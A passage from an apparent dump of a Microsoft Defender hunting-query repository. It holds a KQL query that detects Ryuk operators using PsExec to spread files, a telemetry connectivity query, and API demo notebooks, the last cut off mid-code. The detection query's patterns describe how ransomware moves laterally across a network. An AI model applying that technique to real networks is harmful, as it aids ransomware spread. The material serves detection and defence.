    "content": "# Detect PsExec being used to spread files\n\nThis query was originally published in the threat analytics report, *Ryuk ransomware*. There is also a related [blog](https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/).\n\n[Ryuk](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Ransom:Win32/Ryuk&threatId=-2147232689) is human-operated ransomware. Much like [DoppelPaymer](https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/) ransomware, Ryuk is spread manually, often on networks that are already infected with Trickbot.\n\nRyuk operators use [PsExec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec) to manually spread the ransomware to other devices.\n\nThe following query detects remote file creation events that might indicate an active attack.\n\nThe [See also](#See-also) section below lists links to other queries associated with Ryuk ransomware.\n\n## Query\n\n```Kusto\n// Find PsExec creating multiple files on remote machines in a 10-minute window\nDeviceFileEvents\n| where Timestamp > ago(7d)\n// Looking for PsExec by accepteula command flag\n| where InitiatingProcessCommandLine has \"accepteula\"\n// Remote machines and file is exe\n| where FolderPath has \"\\\\\\\\\" and FileName endswith \".exe\"\n| extend Exe = countof(InitiatingProcessCommandLine, \".exe\")\n// Checking to see if command line has 2 .exe or .bat\n| where InitiatingProcessCommandLine !has \".ps1\" and Exe > 1 or \nInitiatingProcessCommandLine has \".bat\"\n// Exclusions: Remove the following line to widen scope of AHQ\n| where not(InitiatingProcessCommandLine has_any(\"batch\", \"auditpol\", \n\"script\", \"scripts\", \"illusive\", \"rebootrequired\"))\n| summarize FileCount = dcount(FolderPath), make_set(SHA1), make_set(FolderPath), \nmake_set(FileName), make_set(InitiatingProcessCommandLine) by DeviceId, \nTimeWindow=bin(Timestamp, 10m), InitiatingProcessFileName\n| where FileCount > 4\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement | v |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Detect credential theft via SAM database export by LaZagne](../Credential%20Access/lazagne.md)\n* [Detect Cobalt Strike invoked via WMI](../Campaigns/cobalt-strike-invoked-w-wmi.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "M365-PowerBi Dashboard/readme.txt",
    "content": "This folder contains some PowerBi dashboard that can be helpful to visualize data from Microsoft Threat Protection using the built-in APIs\n"
  },
  {
    "path": "Network/Defender for Endpoint Telemetry.txt",
    "content": "// View Defender for Endpoint telemetry URLs and their connection status, view trendline over 30 days\n// use to investigate possible telemetry and/or connectivity issues\n// jesse.esquivel@microsoft.com\nlet TargetURLs = dynamic(['winatp-gw-cus.microsoft.com', 'winatp-gw-eus.microsoft.com', 'winatp-gw-weu.microsoft.com',\n    'winatp-gw-neu.microsoft.com', 'winatp-gw-uks.microsoft.com', 'winatp-gw-ukw.microsoft.com', 'winatp-gw-usgv.microsoft.com',\n    'winatp-gw-usgt.microsoft.com', 'eu.vortex-win.data.microsoft.com', 'us.vortex-win.data.microsoft.com',\n    'uk.vortex-win.data.microsoft.com', 'events.data.microsoft.com', 'settings-win.data.microsoft.com', 'eu-v20.events.data.microsoft.com',\n    'uk-v20.events.data.microsoft.com', 'us-v20.events.data.microsoft.com', 'us4-v20.events.data.microsoft.com',\n    'us5-v20.events.data.microsoft.com', 'ctldl.windowsupdate.com']);\nDeviceNetworkEvents\n//scope here by MachineGroup, etc.\n| where isnotempty(RemoteUrl)\n| extend Domain = case(RemoteUrl contains \"//\", parse_url(RemoteUrl).Host, RemoteUrl)\n| where Domain in(TargetURLs)\n| summarize Connections = dcount(DeviceId) by ActionType, bin(Timestamp, 1d)\n| render linechart\n"
  },
  {
    "path": "Notebooks/M365D APIs ep3.ipynb",
    "content": "{\n \"cells\": [\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {},\n   \"outputs\": [],\n   \"source\": [\n    \"# Declare the required imports\\r\\n\",\n    \"import json\\r\\n\",\n    \"import time\\r\\n\",\n    \"import pandas as pd\\r\\n\",\n    \"import numpy as np\\r\\n\",\n    \"\\r\\n\",\n    \"import matplotlib.pyplot as plt\\r\\n\",\n    \"import urllib.request\\r\\n\",\n    \"import urllib.parse\\r\\n\",\n    \"import datetime\\r\\n\",\n    \"\\r\\n\",\n    \"# Define the variables to access the Microsoft Threat protection API using Azure APP\\r\\n\",\n    \"# Replace with your Tenant ID\\r\\n\",\n    \"tenantId = '' \\r\\n\",\n    \"# Replace with your Application ID\\r\\n\",\n    \"appId = '' \\r\\n\",\n    \"# Replace with the Secret for your Application\\r\\n\",\n    \"appSecret = '' \\r\\n\",\n    \"# Replace with the input JSON file with the queries you want to run\\r\\n\",\n    \"query_inputfile_fullpath = \\\"C:\\\\\\\\temp\\\\\\\\singleQUery.json\\\" \\r\\n\",\n    \"#Define the folder to save the query results as CSV\\r\\n\",\n    \"query_outputfolder_fullpath = \\\"C:\\\\\\\\Temp\\\\\\\\output\\\" \\r\\n\",\n    \"# Define the Teams channel\\r\\n\",\n    \"teamsurl = \\\"https://microsoft.webhook.office.com/webhookb2/.....\\\"\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {},\n   \"outputs\": [],\n   \"source\": [\n    \"def app_auth():\\n\",\n    \"    url = \\\"https://login.windows.net/%s/oauth2/token\\\" % (tenantId) # Login OAUTH2 page\\n\",\n    \"    resourceAppIdUri = 'https://api.security.microsoft.com' # M365 Api\\n\",\n    \"\\n\",\n    \"    body = {\\n\",\n    \"        'resource' : resourceAppIdUri,\\n\",\n    \"        'client_id' : appId,\\n\",\n    \"        'client_secret' : appSecret,\\n\",\n    \"        'grant_type' : 'client_credentials'\\n\",\n    \"    }\\n\",\n    \"\\n\",\n    \"    data = urllib.parse.urlencode(body).encode(\\\"utf-8\\\")\\n\",\n    \"\\n\",\n    \"    req = urllib.request.Request(url, data)\\n\",\n    \"    response = urllib.request.urlopen(req)\\n\",\n    \"    jsonResponse = json.loads(response.read())\\n\",\n    \"    aadToken = jsonResponse[\\\"access_token\\\"] # Access token for the next hour\\n\",\n    \"\\n\",\n    \"    return aadToken\\n\",\n    \"\\n\",\n    \"# Declare a function to query the M365 Defender API\\n\",\n    \"def exec_mtp_query(query):\\n\",\n    \"    url = \\\"https://api.security.microsoft.com/api/advancedhunting/run\\\" #M365 Advanced Hunting API\\n\",\n    \"    headers = { \\n\",\n    \"    'Content-Type' : 'application/json',\\n\",\n    \"    'Accept' : 'application/json',\\n\",\n    \"    'Authorization' : \\\"Bearer \\\" + aadToken\\n\",\n    \"    }\\n\",\n    \"\\n\",\n    \"    data = json.dumps({ 'Query' : query }).encode(\\\"utf-8\\\")\\n\",\n    \"\\n\",\n    \"    req = urllib.request.Request(url, data, headers)\\n\",\n    \"    response = urllib.request.urlopen(req)\\n\",\n    \"    jsonResponse = json.loads(response.read())\\n\",\n    \"    schema = jsonResponse[\\\"Schema\\\"]\\n\",\n    \"    results = jsonResponse[\\\"Results\\\"]\\n\",\n    \"    \\n\",\n    \"    df = pd.DataFrame(results)\\n\",\n    \"    \\n\",\n    \"    return df\\n\",\n    \"\\n\",\n    \"# Declaring a function to calculate the elapsed time during the query\\n\",\n    \"def getTimeDifferenceFromNow(TimeStart, TimeEnd):\\n\",\n    \"    timeDiff = TimeEnd - TimeStart\\n\",\n    \"    return timeDiff.total_seconds() / 60\\n\",\n    \"\\n\",\n    \"# This function will send data to teams\\n\",\n    \"def send_message_to_teams(messagetosend):\\n\",\n    \"    import requests\\n\",\n    \"    payload = {\\n\",\n    \"        \\\"text\\\": messagetosend\\n\",\n    \"    }\\n\",\n    \"    headers = {\\n\",\n    \"        'Content-Type': 'application/json'\\n\",\n    \"    }\\n\",\n    \"    response = requests.post(teamsurl, headers=headers, data=json.dumps(payload))\\n\",\n    \"    if response.text == \\\"1\\\":\\n\",\n    \"        print(\\\"Message Successfully posted in teams\\\")\\n\",\n    \"    else:\\n\",\n    \"        print(\\\"Message post in teams failed\\\")\\n\",\n    \"    return response\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"tags\": []\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"TimeStart = datetime.datetime.now()\\n\",\n    \"TimeEnd = datetime.datetime.now()\\n\",\n    \"aadToken = app_auth()\\n\",\n    \"\\n\",\n    \"with open(query_inputfile_fullpath) as json_file:\\n\",\n    \"    data = json.load(json_file)\\n\",\n    \"    i = 1\\n\",\n    \"    for p in data:\\n\",\n    \"        ###\\n\",\n    \"        str_per = (i/len(data))*100\\n\",\n    \"        \\n\",\n    \"        # check if we need a new token\\n\",\n    \"        Elapsed_Minutes = getTimeDifferenceFromNow(TimeStart, TimeEnd)\\n\",\n    \"        if round(Elapsed_Minutes) < 45:\\n\",\n    \"            print('Using existing AzAD token')\\n\",\n    \"        else:\\n\",\n    \"            print('Generate a new AzAD token')\\n\",\n    \"            aadToken = app_auth()\\n\",\n    \"            TimeStart = datetime.datetime.now()\\n\",\n    \"\\n\",\n    \"\\n\",\n    \"        print('\\\\x1b[0;30;44m' + \\\"Running\\\",i,\\\"of\\\",len(data),\\\" queries, we are at the \\\",'%.2f' %str_per,\\\"% of processing rules\\\"+ '\\\\x1b[0m')\\n\",\n    \"\\n\",\n    \"        # Set the Query name from JSON source file\\n\",\n    \"        query_name = p['Name']\\n\",\n    \"        # Making all the columns visible\\n\",\n    \"        pd.set_option('display.max_columns', None)\\n\",\n    \"\\n\",\n    \"        # Expanding the output of the display to be more visible\\n\",\n    \"        pd.set_option('max_colwidth', 200)\\n\",\n    \"\\n\",\n    \"        print('\\\\x1b[6;30;42m' + \\\"Running the\\\",query_name, \\\"query\\\" + '\\\\x1b[0m')\\n\",\n    \"\\n\",\n    \"        # Define the query from JSON source file\\n\",\n    \"        kql_query = p['Query']\\n\",\n    \"        if len(kql_query) != 0:\\n\",\n    \"            print('\\\\x1b[0;30;47m' + kql_query + '\\\\x1b[0m')\\n\",\n    \"            try:\\n\",\n    \"                query_results = exec_mtp_query(kql_query)\\n\",\n    \"            except Exception as query_error:\\n\",\n    \"                print(query_error)\\n\",\n    \"            else:\\n\",\n    \"                if len(query_results) == 0:\\n\",\n    \"                    # wait 4 second to don't exeeed the 15 queries per 60 seconds limit\\n\",\n    \"                    time.sleep(4)\\n\",\n    \"                    print('\\\\x1b[6;30;42m' + \\\"No results for the\\\",query_name, \\\"query\\\" + '\\\\x1b[0m')\\n\",\n    \"                else:\\n\",\n    \"                    if len(query_results) == 10000:\\n\",\n    \"                        print('\\\\x1b[6;30;42m' + \\\"The results for the\\\",query_name, \\\"query are exeeding the 10,000 limits\\\" + '\\\\x1b[0m')\\n\",\n    \"                    print('\\\\x1b[6;30;42m' + \\\"Results for the\\\",query_name, \\\"query\\\" + '\\\\x1b[0m')\\n\",\n    \"                    print('\\\\x1b[6;30;42m' + \\\"The query returns\\\",len(query_results), \\\"results\\\" + '\\\\x1b[0m')\\n\",\n    \"                    messagetosend = 'The query: ' +query_name + ', returns ' + str(len(query_results)) + ' results'\\n\",\n    \"                    \\n\",\n    \"                    if i == 1:\\n\",\n    \"                        QueryResultsSummary = pd.DataFrame([[query_name,len(query_results)]], columns = ['QueryName','QueryResults'])\\n\",\n    \"                    else:\\n\",\n    \"                        QueryResultsSummary_temp = pd.DataFrame([[query_name,len(query_results)]], columns = ['QueryName','QueryResults'])\\n\",\n    \"                        QueryResultsSummary = QueryResultsSummary.append(QueryResultsSummary_temp)\\n\",\n    \"\\n\",\n    \"                    display(query_results.head())\\n\",\n    \"                    # save to Tsv\\n\",\n    \"                    try:\\n\",\n    \"                        file_out = query_outputfolder_fullpath+'\\\\\\\\'+query_name+'.tsv'\\n\",\n    \"                    except Exception as file_export_error:\\n\",\n    \"                        print(file_export_error)\\n\",\n    \"                    else: \\n\",\n    \"                        query_results.to_csv(file_out, sep=\\\"\\\\t\\\")\\n\",\n    \"                i = i +1\\n\",\n    \"        TimeEnd = datetime.datetime.now()\\n\",\n    \"\\n\",\n    \"# Send message summary to Teams\\n\",\n    \"messagetosend = QueryResultsSummary.to_html(index = False)\\n\",\n    \"#send_message_to_teams(messagetosend)\"\n   ]\n  }\n ],\n \"metadata\": {\n  \"kernelspec\": {\n   \"display_name\": \"Python 3.8.5 64-bit (conda)\",\n   \"name\": \"python38564bitconda621362638e45467d889ff2fbfac97eae\"\n  },\n  \"language_info\": {\n   \"name\": \"python\",\n   \"version\": \"\"\n  },\n  \"metadata\": {\n   \"interpreter\": {\n    \"hash\": \"ecf5722fdaf1897a315d257d89d94520bfcaa453217d5becf09b39e73618b0de\"\n   }\n  },\n  \"orig_nbformat\": 2\n },\n \"nbformat\": 4,\n \"nbformat_minor\": 2\n}"
  },
  {
    "path": "Notebooks/WDATP APIs Demo Notebook.ipynb",
    "content": "{\n \"cells\": [\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Dependencies \\n\",\n    \"\\n\",\n    \"To view the visualizations below, you may need to install holoviews:\\n\",\n    \"\\n\",\n    \"```\\n\",\n    \"!pip install holoviews\\n\",\n    \"!pip install --upgrade bokeh\\n\",\n    \"```\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Introduction\\n\",\n    \"This notebook shows how to use the Windows Defender ATP APIs. It defines a Python wrapper for calling the API \\n\",\n    \"and several Jupyter magics to make it easy to access WDATP information. While the APIs are documented and supported,\\n\",\n    \"the wrapper in this notebook is a sample and is not an official programming interface.\\n\",\n    \"\\n\",\n    \"Author: [@JohnLaTwC] (https://twitter.com/JohnLaTwC)\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Links to API documentation\\n\",\n    \"\\n\",\n    \"[APIs] (https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-atp/use-apis)\\n\",\n    \"\\n\",\n    \"[Query] (https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-atp/run-advanced-query-api)\\n\",\n    \"\\n\",\n    \"[Alert] (https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-atp/alerts-windows-defender-advanced-threat-protection-new)\\n\",\n    \"\\n\",\n    \"[File] (https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-atp/files-windows-defender-advanced-threat-protection-new)\\n\",\n    \"\\n\",\n    \"[Machine] (https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-atp/machine-windows-defender-advanced-threat-protection-new)\\n\",\n    \"\\n\",\n    \"[User] (https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-atp/user-windows-defender-advanced-threat-protection-new)\\n\",\n    \"\\n\",\n    \"[Machine Action] (https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-atp/machineaction-windows-defender-advanced-threat-protection-new)\\n\",\n    \"\\n\",\n    \"[Domain] (https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-atp/get-domain-related-alerts-windows-defender-advanced-threat-protection-new)\\n\",\n    \"\\n\",\n    \"[IPs] (https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-atp/get-ip-related-alerts-windows-defender-advanced-threat-protection-new)\\n\",\n    \"\\n\",\n    \"[OData examples] (https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-atp/exposed-apis-odata-samples)\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Initializing secrets\\n\",\n    \"\\n\",\n    \"When your app is registered to call the WDATP APIs you need to pass the credentials in to this sample. \\n\",\n    \"\\n\",\n    \"Simply edit or replace this `get_secret` function to return the proper values.\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 4,\n   \"metadata\": {\n    \"collapsed\": true\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"def get_secret(secret_name):\\n\",\n    \"    return {'WDATP_DEMO_appId':'<<insert secret>>',\\n\",\n    \"            'WDATP_DEMO_appSecret':'<<insert secret>>',\\n\",\n    \"            'WDATP_DEMO_tenantId':'<<insert secret>>',\\n\",\n    \"            'VT_API_KEY':'<<optional VirusTotal API Key>>'}[secret_name]\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 5,\n   \"metadata\": {\n    \"collapsed\": true\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"## e.g. custom way to access secrets\\n\",\n    \"def get_secret(secret_name):\\n\",\n    \"    import os\\n\",\n    \"    return os.environ.get(secret_name)\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": true\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"appId = get_secret('WDATP_DEMO_appId')\\n\",\n    \"appSecret = get_secret('WDATP_DEMO_appSecret') \\n\",\n    \"tenantId = get_secret('WDATP_DEMO_tenantId')\\n\",\n    \"vt_api_key = get_secret('VT_API_KEY')\\n\",\n    \"print(\\\"If your secrets were initialized properly you should see your tenant id.\\\\nTenant Id: %s \\\" % tenantId)\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Getting Started\\n\",\n    \"All the API Wrapper code is below. Activate it by clicking in the cell and hitting Shift+Enter\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 7,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"name\": \"stdout\",\n     \"output_type\": \"stream\",\n     \"text\": [\n      \"Sample WDATP API code loaded\\n\"\n     ]\n    }\n   ],\n   \"source\": [\n    \"# -------------------------------------------------------------------------\\n\",\n    \"# Copyright (c) Microsoft Corporation. All rights reserved.\\n\",\n    \"# Licensed under the MIT License. \\n\",\n    \"# --------------------------------------------------------------------------\\n\",\n    \"\\n\",\n    \"# Author: @JohnLaTwC\\n\",\n    \"\\n\",\n    \"## https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-atp/run-advanced-query-api\\n\",\n    \"\\n\",\n    \"import json\\n\",\n    \"import urllib.request\\n\",\n    \"import urllib.parse\\n\",\n    \"import pandas as pd\\n\",\n    \"import re\\n\",\n    \"from IPython.core.magic import (register_line_magic, register_cell_magic,\\n\",\n    \"                                register_line_cell_magic)\\n\",\n    \"\\n\",\n    \"SPLIT_DELIMS = '[\\\\[\\\\] ;\\\\n\\\\t|,xX\\\"\\\\']'\\n\",\n    \"@register_line_cell_magic\\n\",\n    \"def hash(line, cell=None):\\n\",\n    \"    if cell is None:\\n\",\n    \"        return line\\n\",\n    \"    else:    \\n\",\n    \"        results = []\\n\",\n    \"        for f in re.split(SPLIT_DELIMS,cell):\\n\",\n    \"            p = re.compile('^[a-f0-9]{32}$'\\n\",\n    \"                           '|^[a-f0-9]{40}$'\\n\",\n    \"                           '|^[a-f0-9]{64}$'\\n\",\n    \"                           ,re.IGNORECASE)\\n\",\n    \"            if p.search(f) is not None:\\n\",\n    \"                if not f in results:\\n\",\n    \"                    results.append(f)\\n\",\n    \"        \\n\",\n    \"        return results           \\n\",\n    \"\\n\",\n    \"# We delete these to avoid name conflicts for automagic to work\\n\",\n    \"del hash \\n\",\n    \"\\n\",\n    \"@register_line_cell_magic\\n\",\n    \"def vthash(line, cell=None):\\n\",\n    \"    if cell is None:\\n\",\n    \"        return wdatp_api.vtresults([line])\\n\",\n    \"    else:    \\n\",\n    \"        results = []\\n\",\n    \"        for f in re.split(SPLIT_DELIMS,cell):\\n\",\n    \"            p = re.compile('^[a-f0-9]{32}$'\\n\",\n    \"                           '|^[a-f0-9]{40}$'\\n\",\n    \"                           '|^[a-f0-9]{64}$'\\n\",\n    \"                           ,re.IGNORECASE)\\n\",\n    \"            if p.search(f) is not None:\\n\",\n    \"                if not f in results:\\n\",\n    \"                    results.append(f)\\n\",\n    \"        \\n\",\n    \"        if len(results) == 0:\\n\",\n    \"            return\\n\",\n    \"        return wdatp_api.vtresults(results)\\n\",\n    \"           \\n\",\n    \"\\n\",\n    \"# We delete these to avoid name conflicts for automagic to work\\n\",\n    \"del vthash \\n\",\n    \"\\n\",\n    \"@register_line_cell_magic\\n\",\n    \"def wdatp_file(line, cell=None):\\n\",\n    \"    if cell is None:\\n\",\n    \"        return wdatp_api.files(filehash=line)\\n\",\n    \"    else:    \\n\",\n    \"        results = []\\n\",\n    \"        for f in re.split(SPLIT_DELIMS,cell):\\n\",\n    \"            p = re.compile('^[a-f0-9]{40}$',re.IGNORECASE)\\n\",\n    \"            if p.search(f) is not None:\\n\",\n    \"                if not f in results:\\n\",\n    \"                    results.append(f)\\n\",\n    \"        \\n\",\n    \"        if len(results) == 0:\\n\",\n    \"            return\\n\",\n    \"        dfs = []\\n\",\n    \"        for filehash in results:\\n\",\n    \"            dfs.append(wdatp_api.files(filehash=filehash))\\n\",\n    \"        import pandas as pd\\n\",\n    \"        return pd.concat(dfs)\\n\",\n    \"            \\n\",\n    \"# Delete these to avoid name conflicts for automagic to work\\n\",\n    \"del wdatp_file\\n\",\n    \"\\n\",\n    \"@register_line_cell_magic\\n\",\n    \"def wdatp_machine(line, cell=None):\\n\",\n    \"    if cell is None:\\n\",\n    \"        if re.match('^[a-f0-9]{40}$', line):\\n\",\n    \"            return wdatp_api.machines(machineid=line)\\n\",\n    \"        else:\\n\",\n    \"            return wdatp_api.machines(filterstr=\\\"$filter=ComputerDnsName eq '%s'\\\" % line)\\n\",\n    \"    else:    \\n\",\n    \"        results = []\\n\",\n    \"        for f in re.split(SPLIT_DELIMS,cell):\\n\",\n    \"            p = re.compile('^[a-f0-9]{40}$',re.IGNORECASE)\\n\",\n    \"            if p.search(f) is not None:\\n\",\n    \"                if not f in results:\\n\",\n    \"                    results.append(f)\\n\",\n    \"        \\n\",\n    \"        dfs = []\\n\",\n    \"\\n\",\n    \"        # if we did not get any machine Ids, treat them as ComputerDnsNames\\n\",\n    \"        if len(results) == 0:\\n\",\n    \"            results = cell.split('\\\\n')\\n\",\n    \"            for hostname in results:\\n\",\n    \"                dfs.append(wdatp_api.machines(filterstr=\\\"$filter=ComputerDnsName eq '%s'\\\" % hostname))\\n\",\n    \"        else:\\n\",\n    \"            for machine_id in results:\\n\",\n    \"                dfs.append(wdatp_api.machines(machineid=machine_id))\\n\",\n    \"        import pandas as pd\\n\",\n    \"        return pd.concat(dfs)\\n\",\n    \"            \\n\",\n    \"# Delete these to avoid name conflicts for automagic to work\\n\",\n    \"del wdatp_machine \\n\",\n    \"\\n\",\n    \"@register_line_cell_magic\\n\",\n    \"def wdatp_alert(line, cell=None):\\n\",\n    \"    if cell is None:\\n\",\n    \"        return wdatp_api.alerts(alertid=line)\\n\",\n    \"    else:    \\n\",\n    \"        results = []\\n\",\n    \"        for f in re.split(SPLIT_DELIMS,cell):\\n\",\n    \"            p = re.compile('^[\\\\d]{18}_\\\\-*[\\\\d]{5,16}$',re.IGNORECASE)\\n\",\n    \"            if p.search(f) is not None:\\n\",\n    \"                if not f in results:\\n\",\n    \"                    results.append(f)\\n\",\n    \"        if len(results) == 0:\\n\",\n    \"            return\\n\",\n    \"        dfs = []\\n\",\n    \"        for alert_id in results:\\n\",\n    \"            dfs.append(wdatp_api.alerts(alertid=alert_id))\\n\",\n    \"        import pandas as pd\\n\",\n    \"        return pd.concat(dfs)\\n\",\n    \"\\n\",\n    \"# Delete these to avoid name conflicts for automagic to work\\n\",\n    \"del wdatp_alert \\n\",\n    \"\\n\",\n    \"@register_line_cell_magic\\n\",\n    \"def wdatp_ip(line, cell=None):\\n\",\n    \"    if cell is None:\\n\",\n    \"        return wdatp_api.ips(ip=line)\\n\",\n    \"    else:    \\n\",\n    \"        results = []\\n\",\n    \"        for f in re.split(SPLIT_DELIMS,cell):\\n\",\n    \"            p = re.compile('^\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}$')\\n\",\n    \"            if p.search(f) is not None:\\n\",\n    \"                if not f in results:\\n\",\n    \"                    results.append(f)\\n\",\n    \"        if len(results) == 0:\\n\",\n    \"            return\\n\",\n    \"        dfs = []\\n\",\n    \"        for ip in results:\\n\",\n    \"            dfs.append(wdatp_api.ips(ip=ip))\\n\",\n    \"        import pandas as pd\\n\",\n    \"        return pd.concat(dfs)\\n\",\n    \"            \\n\",\n    \"# Delete these to avoid name conflicts for automagic to work\\n\",\n    \"del wdatp_ip \\n\",\n    \"        \\n\",\n    \"@register_line_cell_magic\\n\",\n    \"def wdatp_action(line, cell=None):\\n\",\n    \"    if cell is None:\\n\",\n    \"        return wdatp_api.ips(ip=line)\\n\",\n    \"    else:    \\n\",\n    \"        results = []\\n\",\n    \"        for f in re.split(SPLIT_DELIMS,cell):\\n\",\n    \"            p = re.compile('^[a-f0-9]{8}'\\n\",\n    \"                       '-[a-f0-9]{4}'\\n\",\n    \"                       '-[a-f0-9]{4}'\\n\",\n    \"                       '-[a-f0-9]{4}'\\n\",\n    \"                       '-[a-f0-9]{12}$'\\n\",\n    \"                       ,re.IGNORECASE)\\n\",\n    \"            if p.search(f) is not None:\\n\",\n    \"                if not f in results:\\n\",\n    \"                    results.append(f)\\n\",\n    \"        if len(results) == 0:\\n\",\n    \"            return\\n\",\n    \"        dfs = []\\n\",\n    \"        for action in results:\\n\",\n    \"            dfs.append(wdatp_api.machine_actions(actionid = action))\\n\",\n    \"        import pandas as pd\\n\",\n    \"        return pd.concat(dfs)\\n\",\n    \"            \\n\",\n    \"# Delete these to avoid name conflicts for automagic to work\\n\",\n    \"del wdatp_action\\n\",\n    \"    \\n\",\n    \"class WDATP:\\n\",\n    \"    def __init__(self, tenantId, appId, appSecret, vt_api_key=None, fUsePandas=True, api_root=\\\"https://api.securitycenter.windows.com\\\"):\\n\",\n    \"        url = \\\"https://login.windows.net/%s/oauth2/token\\\" % (tenantId)\\n\",\n    \"\\n\",\n    \"        self.fDebug = False\\n\",\n    \"        resourceAppIdUri = 'https://api.securitycenter.windows.com'\\n\",\n    \"\\n\",\n    \"        body = {\\n\",\n    \"            'resource' : resourceAppIdUri,\\n\",\n    \"            'client_id' : appId,\\n\",\n    \"            'client_secret' : appSecret,\\n\",\n    \"            'grant_type' : 'client_credentials'\\n\",\n    \"        }\\n\",\n    \"\\n\",\n    \"        ## authenticate and obtain AAD Token for future calls\\n\",\n    \"        data = urllib.parse.urlencode(body).encode(\\\"utf-8\\\")\\n\",\n    \"        req = urllib.request.Request(url, data)\\n\",\n    \"        response = urllib.request.urlopen(req)\\n\",\n    \"        jsonResponse = json.loads(response.read())\\n\",\n    \"        self.aadToken = jsonResponse[\\\"access_token\\\"]\\n\",\n    \"        self.headers = { \\n\",\n    \"            'Content-Type' : 'application/json',\\n\",\n    \"            'Accept' : 'application/json',\\n\",\n    \"            'Authorization' : \\\"Bearer \\\" + self.aadToken\\n\",\n    \"        }\\n\",\n    \"        self.fUsePandas = fUsePandas # use pandas DataFrame for collections of objects, else return a list\\n\",\n    \"        self.api_root = api_root\\n\",\n    \"        self.vt_api_key = vt_api_key\\n\",\n    \"        if len(self.aadToken) > 0:\\n\",\n    \"            print(\\\"Connected.\\\")\\n\",\n    \"    \\n\",\n    \"    def set_output_type(self, fUsePandas=True):\\n\",\n    \"        self.fUsePandas = fUsePandas    \\n\",\n    \"\\n\",\n    \"    def set_debug_output(self, fDebug=True):\\n\",\n    \"        self.fDebug = fDebug    \\n\",\n    \"        \\n\",\n    \"    def __validate_arguments(self,args, valid_params):\\n\",\n    \"        if len(args) == 0:\\n\",\n    \"            raise ValueError ('argument must be one of %s' % str(list(valid_params.keys())))\\n\",\n    \"        elif len(args) > 1:\\n\",\n    \"            raise ValueError ('only one id can be used at a time')\\n\",\n    \"        else:\\n\",\n    \"            selector = next(iter(args))\\n\",\n    \"            selector_value= next(iter(args.values()))\\n\",\n    \"            if selector not in list(valid_params.keys()):\\n\",\n    \"                raise ValueError ('argument must be one of %s' % str(list(valid_params.keys())))\\n\",\n    \"        return (selector, selector_value)\\n\",\n    \"\\n\",\n    \"    def __make_request(self,url, params=None):\\n\",\n    \" \\n\",\n    \"        if self.fDebug:\\n\",\n    \"            print(url)\\n\",\n    \"        req = urllib.request.Request(url, headers=self.headers)\\n\",\n    \"        try:\\n\",\n    \"            response = urllib.request.urlopen(req)\\n\",\n    \"        except urllib.error.HTTPError as e:\\n\",\n    \"            raise e\\n\",\n    \"                \\n\",\n    \"        jsonResponse = json.loads(response.read())\\n\",\n    \"        if type(jsonResponse) == int:\\n\",\n    \"            if self.fUsePandas:\\n\",\n    \"                return pd.DataFrame([jsonResponse])\\n\",\n    \"            else:\\n\",\n    \"                return jsonResponse\\n\",\n    \"        if 'value' in jsonResponse:\\n\",\n    \"            res = jsonResponse[\\\"value\\\"]\\n\",\n    \"        else:\\n\",\n    \"            res = jsonResponse     \\n\",\n    \"        if self.fUsePandas:\\n\",\n    \"            return pd.io.json.json_normalize(res)\\n\",\n    \"        return res\\n\",\n    \"\\n\",\n    \"    def __prepare_param_dict_from_filter_str(self, filterstr):\\n\",\n    \"        get_params = {}\\n\",\n    \"        for filter_param in re.split(\\\"[\\\\?\\\\&]+\\\", filterstr):\\n\",\n    \"            if len(filter_param)> 